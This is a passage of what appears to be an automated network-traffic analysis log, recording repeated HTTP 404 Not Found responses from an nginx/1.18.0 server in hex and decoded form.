20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:15 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:18 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:20 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:22 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 